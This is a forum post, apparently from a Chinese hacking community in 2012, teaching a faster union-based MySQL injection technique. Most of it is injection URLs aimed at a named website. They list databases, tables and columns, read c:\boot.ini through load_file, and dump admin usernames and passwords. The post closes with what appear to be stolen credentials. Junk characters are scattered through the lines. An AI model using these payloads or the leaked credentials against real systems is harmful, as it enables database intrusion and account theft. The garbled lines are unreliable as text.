找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2516|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似6 S: q2 F4 i, o5 e# k& \
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人# o9 y$ `+ @. b$ v+ A6 O2 J
8 p5 i5 ~+ A; S  r, A
( [1 ?( j! _* A5 t9 o3 k/ |& A6 f. k  R
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
1 l9 U" ~4 Y5 V% {- [6 ?( ^" b& ^1 R) q/ x
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
6 w) E! Q; e6 f" O  \" n7 z
: F3 Z" O* u6 [* P% f2 o下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示, b7 N4 q- u5 A" u% S0 n
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等9 M; Z  r2 q: l

: o% q1 z2 O# i% t; Phttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17; ^8 Q: @8 y' E) E8 l' e

2 V" a  o) f. d& B2 ~读出所有库:
& V, _  `" ^  C8 U. k* J2 Rhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA) U5 f4 M3 W6 E' v4 }
9 i4 J: f2 A6 v5 l$ j2 [9 G+ F) f
, R/ h, M/ @8 p* e. O

" C# Q% ?, d+ H0 r$ K6 u4 w读出所有表:
* i, W% q' I5 {! C0 k3 m4 h* chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()7 V  h3 Y$ w1 b" {$ g/ z
& @6 [- Z8 n( [; V+ p+ C& F! c, M
读出所有表字段:8 ]9 `7 d# F5 e
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110). |. b, }! p+ s" _0 y3 N
*/ (97,100,109,105,110)为admin的ascii码 依次类推: k$ D0 J5 y" h, c9 d0 H6 t

# L8 c* z2 U- l读出所有表字段里的内容:4 b' [0 E4 m0 Q6 Y0 M3 V
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin6 C. c1 T" U: t

, L+ Z. S; b# ?+ W6 }% w' y7 C. Q/ F) U/ b4 E" u+ W5 P
1 Q2 f, i  l/ \$ h! Y  R. t

8 U% R5 G( P+ o+ p. r8 ?# W
9 o9 W7 [* {: ?: l4 M2 M- K6 u6 b2 W9 `. W# C8 S& I! m$ I+ I+ I
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
3 s! H3 z" i7 y6 ^2 c- F  X9 N9 d; U8 }' R
# `. P: z3 I- F; z( o' y  I" Z
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
3 O8 [! Z& {( z/ Q  K, ?0 u, w7 W/ N3 J3 Z, J
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
. d5 ?! \$ f& v! l7 Y# C# `6 h5 j% V6 V9 z6 d! ~% [4 P: z4 J! K

9 y% d5 t: @; n8 [4 p7 m2 phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
  W8 ~, Q- k/ r6 {: y) |1 F
: H. g8 `% ?9 F' e, B1 b/ K
9 ?, n" C( i/ m& \3 b        webmaster:dzb521123,simlab:simadmin20043233$ u- W. t# `  i  U8 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表